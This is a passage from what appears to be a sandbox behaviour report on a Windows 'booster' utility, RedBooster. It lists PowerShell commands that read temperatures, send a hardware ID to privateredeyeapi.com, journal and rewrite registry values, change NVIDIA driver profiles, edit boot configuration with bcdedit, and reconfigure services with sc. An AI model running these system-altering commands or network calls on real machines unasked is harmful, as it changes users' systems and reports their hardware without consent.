  - Command and Scripting Interpreter: PowerShell
  PID:3724
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3420
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6536
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$u='https://privateredeyeapi.com/?action=RegisterBooster' $u+='&hwid='+[uri]::EscapeDataString('WU6j5DQe77S27wyDYeu7dUAaJTv5ou0TD0YjUrW9R3A') $u+='&key='+[uri]::EscapeDataString('') try{[Net.ServicePointManager]::SecurityProtocol=[Net.ServicePointManager]::SecurityProtocol -bor 3072}catch{}; try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{}; try{$resp=Invoke-WebRequest -Uri $u -TimeoutSec 12 -UseBasicParsing -Headers @{'User-Agent'='RedBooster'}; [System.Text.Encoding]::UTF8.GetString($resp.RawContentStream.ToArray())}catch{try{$r=$_.Exception.Response;if($r){$s=New-Object System.IO.StreamReader($r.GetResponseStream(),[System.Text.Encoding]::UTF8);$s.ReadToEnd()}else{''}}catch{''}}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4828
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2276
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4760
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$u='https://privateredeyeapi.com/?action=EventBooster' try{[Net.ServicePointManager]::SecurityProtocol=[Net.ServicePointManager]::SecurityProtocol -bor 3072}catch{}; try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{}; try{$resp=Invoke-WebRequest -Uri $u -TimeoutSec 10 -UseBasicParsing -Headers @{'User-Agent'='RedBooster'}; [System.Text.Encoding]::UTF8.GetString($resp.RawContentStream.ToArray())}catch{try{$r=$_.Exception.Response;if($r){$s=New-Object System.IO.StreamReader($r.GetResponseStream(),[System.Text.Encoding]::UTF8);$s.ReadToEnd()}else{''}}catch{''}}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5484
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$ErrorActionPreference='Stop' try { (Invoke-WebRequest -Uri 'https://privateredeyeapi.com/versionBooster.php' -Headers @{ 'User-Agent'='RedBooster' } -TimeoutSec 20 -UseBasicParsing).Content } catch { '' }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6416
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$u='https://privateredeyeapi.com/?action=BroadcastGetBooster' $u+='&hwid='+[uri]::EscapeDataString('WU6j5DQe77S27wyDYeu7dUAaJTv5ou0TD0YjUrW9R3A') try{[Net.ServicePointManager]::SecurityProtocol=[Net.ServicePointManager]::SecurityProtocol -bor 3072}catch{}; try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{}; try{$resp=Invoke-WebRequest -Uri $u -TimeoutSec 10 -UseBasicParsing -Headers @{'User-Agent'='RedBooster'}; [System.Text.Encoding]::UTF8.GetString($resp.RawContentStream.ToArray())}catch{try{$r=$_.Exception.Response;if($r){$s=New-Object System.IO.StreamReader($r.GetResponseStream(),[System.Text.Encoding]::UTF8);$s.ReadToEnd()}else{''}}catch{''}}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5180
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1732
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4740
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2072
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4648
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5612
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$u='https://privateredeyeapi.com/?action=TrialBooster' $u+='&hwid='+[uri]::EscapeDataString('WU6j5DQe77S27wyDYeu7dUAaJTv5ou0TD0YjUrW9R3A') try{[Net.ServicePointManager]::SecurityProtocol=[Net.ServicePointManager]::SecurityProtocol -bor 3072}catch{}; try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{}; try{$resp=Invoke-WebRequest -Uri $u -TimeoutSec 12 -UseBasicParsing -Headers @{'User-Agent'='RedBooster'}; [System.Text.Encoding]::UTF8.GetString($resp.RawContentStream.ToArray())}catch{try{$r=$_.Exception.Response;if($r){$s=New-Object System.IO.StreamReader($r.GetResponseStream(),[System.Text.Encoding]::UTF8);$s.ReadToEnd()}else{''}}catch{''}}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1904
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6188
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:8
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6520
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2740
- C:\Windows\system32\bcdedit.exe
  "bcdedit" /set hypervisorlaunchtype auto
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:5376
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$ErrorActionPreference='SilentlyContinue';function S($l,$t){Write-Output \"$l|$t\"};$rbAcSkip='easyanticheat|beservice|battleye|^vgc$|vgtray|vanguard|sguard|ace-base|anticheatexpert|gameguard|npggnt|nprotect|faceit|mhyprot|^cod$|modernwarfare|warzone|blackops|cod22-cod|valorant|fortniteclient-win64|r5apex|tslgame|rainbowsix|rustclient|destiny2|bedaisy|easyanticheat_eos|vgc|vgk|npggsvc|acegameguard|aceac|sgguard' $RBJournalPath = 'C:\Users\Admin\AppData\Local\RedBooster\undo.jsonl' $RBModule = 'boost' function RB-Journal($module,$root,$path,$name){ try { $p = \"$($root):\$path\" $prev = $null $kind = 'regdword' if (Test-Path -LiteralPath $p) { $item = Get-ItemProperty -LiteralPath $p -Name $name -ErrorAction SilentlyContinue if ($item -ne $null -and ($item.PSObject.Properties.Name -contains $name)) { $prev = $item.$name } } if ($prev -ne $null -and $prev -isnot [int] -and $prev -isnot [long]) { $kind = 'regstring'; $prev = [string]$prev } $rec = [ordered]@{ module=$module; kind=$kind; root=$root; path=$path; name=$name; prev=$prev } $line = ($rec | ConvertTo-Json -Compress -Depth 3) $dir = Split-Path -Parent $RBJournalPath if (-not (Test-Path $dir)) { New-Item -ItemType Directory -Force -Path $dir | Out-Null } Add-Content -LiteralPath $RBJournalPath -Value $line -Encoding UTF8 -ErrorAction SilentlyContinue } catch { } } function RB-JournalP($module,$full,$name){ try { $f = [string]$full # Accept 'HKLM:\path', 'HKLM:path', 'Registry::HKEY_LOCAL_MACHINE\path' and PSPath forms. $f = $f -replace '^Registry::HKEY_LOCAL_MACHINE\\?', 'HKLM:\' $f = $f -replace '^Registry::HKEY_CURRENT_USER\\?', 'HKCU:\' $f = $f -replace '^Registry::HKEY_USERS\\?', 'HKU:\' $f = $f -replace '^Microsoft\.PowerShell\.Core\\Registry::HKEY_LOCAL_MACHINE\\?', 'HKLM:\' $f = $f -replace '^Microsoft\.PowerShell\.Core\\Registry::HKEY_CURRENT_USER\\?', 'HKCU:\' $i = $f.IndexOf(':') if ($i -lt 1) { return } $root = $f.Substring(0, $i) $sub = $f.Substring($i + 1).TrimStart('\') if ($root -eq 'HKEY_LOCAL_MACHINE') { $root = 'HKLM' } if ($root -eq 'HKEY_CURRENT_USER') { $root = 'HKCU' } RB-Journal $module $root $sub $name } catch { } } # Proxy the two registry-writing cmdlets so EVERY inline write in every script is journalled # without touching ~80 individual call sites. A PowerShell function shadows a cmdlet of the same # name, so these intercept the call, record the previous value, then delegate to the real cmdlet # by its fully-qualified name with the caller's arguments passed through untouched. # # Every parameter shape used in this codebase is covered by a test (see the `test-proxy` script # and `parses_records_written_by_powershell`): named -Path, positional path, -LiteralPath, # -PropertyType vs -Type, -Force, -ErrorAction, and the `Get-ChildItem | %{ ... $_.PSPath }` # pipeline form. `ValueFromRemainingArguments` absorbs anything unforeseen so an unexpected # parameter can never turn a registry write into a hard error. function New-ItemProperty { [CmdletBinding()] param( [Parameter(Position=0)][string[]]$Path, [string[]]$LiteralPath, [Parameter(Position=1)][string]$Name, [Parameter(Position=2)]$Value, [string]$PropertyType, [switch]$Force, [Parameter(ValueFromRemainingArguments=$true)]$Rest ) try { $t = if ($LiteralPath) { $LiteralPath } else { $Path } foreach ($one in $t) { RB-JournalP $RBModule $one $Name } } catch { } $null = $PSBoundParameters.Remove('Rest') Microsoft.PowerShell.Management\New-ItemProperty @PSBoundParameters } function Set-ItemProperty { [CmdletBinding()] param( [Parameter(Position=0)][string[]]$Path, [string[]]$LiteralPath, [Parameter(Position=1)][string]$Name, [Parameter(Position=2)]$Value, [string]$Type, [switch]$Force, [Parameter(ValueFromRemainingArguments=$true)]$Rest ) try { $t = if ($LiteralPath) { $LiteralPath } else { $Path } foreach ($one in $t) { RB-JournalP $RBModule $one $Name } } catch { } $null = $PSBoundParameters.Remove('Rest') Microsoft.PowerShell.Management\Set-ItemProperty @PSBoundParameters } Get-ChildItem 'HKLM:\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces' -ErrorAction SilentlyContinue | ForEach-Object { Remove-ItemProperty -Path $_.PSPath -Name 'TcpAckFrequency' -ErrorAction SilentlyContinue; Remove-ItemProperty -Path $_.PSPath -Name 'TCPNoDelay' -ErrorAction SilentlyContinue; Remove-ItemProperty -Path $_.PSPath -Name 'TcpDelAckTicks' -ErrorAction SilentlyContinue } S 'ok' 'Restored Nagle (removed TcpAckFrequency/TCPNoDelay/TcpDelAckTicks) on all interfaces' Get-ChildItem 'HKLM:\SYSTEM\CurrentControlSet\Control\Class\{4d36e972-e325-11ce-bfc1-08002be10318}' -ErrorAction SilentlyContinue | Where-Object { $_.PSChildName -match '^[0-9]{4}$' } | ForEach-Object { Remove-ItemProperty -Path $_.PSPath -Name 'PnPCapabilities' -ErrorAction SilentlyContinue } S 'ok' 'Re-enabled network-adapter power management (removed PnPCapabilities)' foreach($n in 'RedBooster','RedBooster-v2','RedBooster-test','LibreHardwareMonitor','PresentMon','FanControl','msedgewebview2','chrome','msedge','firefox','opera','brave','OneDrive','Dropbox','GoogleDriveFS','SearchIndexer'){ Get-Process -Name $n -ErrorAction SilentlyContinue | ForEach-Object { try { $_.PriorityClass='Normal' } catch {} } } S 'ok' 'All app priorities restored to Normal' ipconfig /flushdns | Out-Null S 'ok' 'Flushed DNS cache' "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Hide Artifacts: Ignore Process Interrupts
  PID:6552
- - C:\Windows\system32\ipconfig.exe
    "C:\Windows\system32\ipconfig.exe" /flushdns
    3⤵
    - Gathers network information
    PID:7016
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4616
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3280
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$src = @' using System; using System.Runtime.InteropServices; public static class RBNv { [DllImport(\"nvapi64.dll\", EntryPoint=\"nvapi_QueryInterface\", CallingConvention=CallingConvention.Cdecl)] static extern IntPtr QI(uint id); [UnmanagedFunctionPointer(CallingConvention.Cdecl)] delegate int dInit(); [UnmanagedFunctionPointer(CallingConvention.Cdecl)] delegate int dCreate(out IntPtr s); [UnmanagedFunctionPointer(CallingConvention.Cdecl)] delegate int dSess(IntPtr s); [UnmanagedFunctionPointer(CallingConvention.Cdecl)] delegate int dBase(IntPtr s, out IntPtr p); [UnmanagedFunctionPointer(CallingConvention.Cdecl)] delegate int dSet(IntPtr s, IntPtr p, ref NVDRS_SETTING st); [StructLayout(LayoutKind.Sequential)] public struct NVDRS_SETTING { public uint version; [MarshalAs(UnmanagedType.ByValArray, SizeConst=2048)] public ushort[] settingName; public uint settingId; public uint settingType; public uint settingLocation; public uint isCurrentPredefined; public uint isPredefinedValid; [MarshalAs(UnmanagedType.ByValArray, SizeConst=4100)] public byte[] predefinedValue; [MarshalAs(UnmanagedType.ByValArray, SizeConst=4100)] public byte[] currentValue; } static T F<T>(uint id) where T : class { IntPtr p = QI(id); return p == IntPtr.Zero ? null : (T)(object)Marshal.GetDelegateForFunctionPointer(p, typeof(T)); } public static string Apply() { try { var init = F<dInit>(0x0150E828); var create = F<dCreate>(0x0694D52E); var load = F<dSess>(0x375DBD6B); var save = F<dSess>(0xFCBC7E14); var getbase = F<dBase>(0xDA8466A0); var setset = F<dSet>(0x577DD202); var destroy = F<dSess>(0xDAD9CFF8); if (init == null || create == null || load == null || getbase == null || setset == null) return \"ERR:nvapi entrypoints\"; if (init() != 0) return \"ERR:NvAPI_Initialize\"; IntPtr sess; if (create(out sess) != 0) return \"ERR:CreateSession\"; try { load(sess); IntPtr prof; if (getbase(sess, out prof) != 0) return \"ERR:GetBaseProfile\"; uint ver = (uint)(Marshal.SizeOf(typeof(NVDRS_SETTING)) | (1 << 16)); uint[,] S = new uint[,] { {0x1057EB71,0x00000005},{0x00A879CF,0x60925292},{0x007BA09E,0x00000000},{0x00CE2691,0x00000000},{0x0E73EE85,0x00000000},{0x1074C972,0x00000000},{0x00664339,0x00000000},{0x00667329,0x00000000},{0x10835002,0x00000000},{0x20C1221E,0x00000000},{0x00198FFF,0x00000001},{0x00E73211,0x00000001},{0x0E73D34C,0x00000000} }; int ok = 0; for (int i = 0; i < S.GetLength(0); i++) { var st = new NVDRS_SETTING(); st.version = ver; st.settingName = new ushort[2048]; st.predefinedValue = new byte[4100]; st.currentValue = new byte[4100]; st.settingId = S[i, 0]; st.settingType = 0; byte[] v = BitConverter.GetBytes(S[i, 1]); Array.Copy(v, 0, st.currentValue, 0, 4); if (setset(sess, prof, ref st) == 0) ok++; } if (save != null) save(sess); return \"OK:\" + ok; } finally { if (destroy != null) destroy(sess); } } catch (Exception e) { return \"ERR:\" + e.Message; } } } '@ try { Add-Type -TypeDefinition $src -ErrorAction Stop; [RBNv]::Apply() } catch { \"ERR:\" + $_.Exception.Message }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6444
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\liietloy\liietloy.cmdline"
    3⤵
    PID:6852
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESAD1A.tmp" "c:\Users\Admin\AppData\Local\Temp\liietloy\CSC53052B3EFFAF4C6091169ADD4F275F99.TMP"
      4⤵
      PID:6236
- C:\Windows\system32\sc.exe
  "sc" config SysMain start= auto
  2⤵
  - Launches sc.exe
  PID:4344
- C:\Windows\system32\sc.exe
  "sc" start SysMain
  2⤵
  - Launches sc.exe
  PID:7060
- C:\Windows\system32\sc.exe
  "sc" config WSearch start= delayed-auto
  2⤵
  - Launches sc.exe
  PID:5996
- C:\Windows\system32\sc.exe
  "sc" start WSearch
  2⤵
  - Launches sc.exe
  PID:1772
- C:\Windows\system32\sc.exe
  "sc" config DiagTrack start= auto
  2⤵
  - Launches sc.exe
  PID:4656
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4248
- C:\Windows\system32\sc.exe
  "sc" start DiagTrack
  2⤵
  - Launches sc.exe
  PID:6788
- C:\Windows\system32\sc.exe
  "sc" config Spooler start= auto
  2⤵
  - Launches sc.exe
  PID:6272
- C:\Windows\system32\sc.exe
  "sc" start Spooler
  2⤵
  - Launches sc.exe
  PID:6328
- C:\Windows\system32\sc.exe
  "sc" config CDPSvc start= auto
  2⤵
  - Launches sc.exe
  PID:2212
- C:\Windows\system32\sc.exe
  "sc" start CDPSvc
  2⤵
  - Launches sc.exe
  PID:264
- C:\Windows\system32\sc.exe
  "sc" config PhoneSvc start= demand
  2⤵
  - Launches sc.exe
  PID:7056
- C:\Windows\system32\sc.exe
  "sc" config Fax start= demand
  2⤵
  - Launches sc.exe
  PID:1016
- C:\Windows\system32\sc.exe
  "sc" config MapsBroker start= delayed-auto
  2⤵
  - Launches sc.exe
  PID:1352
- C:\Windows\system32\sc.exe
  "sc" config lfsvc start= demand
  2⤵
  - Launches sc.exe
  PID:4264
- C:\Windows\system32\sc.exe
  "sc" config RetailDemo start= demand
  2⤵
  - Launches sc.exe
  PID:1940
- C:\Windows\system32\sc.exe
  "sc" config WMPNetworkSvc start= demand
  2⤵
  - Launches sc.exe
  PID:2444
- C:\Windows\system32\sc.exe
  "sc" config WpnService start= auto
  2⤵
  - Launches sc.exe
  PID:2328
- C:\Windows\system32\sc.exe
  "sc" start WpnService
  2⤵
  - Launches sc.exe
  PID:1192
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
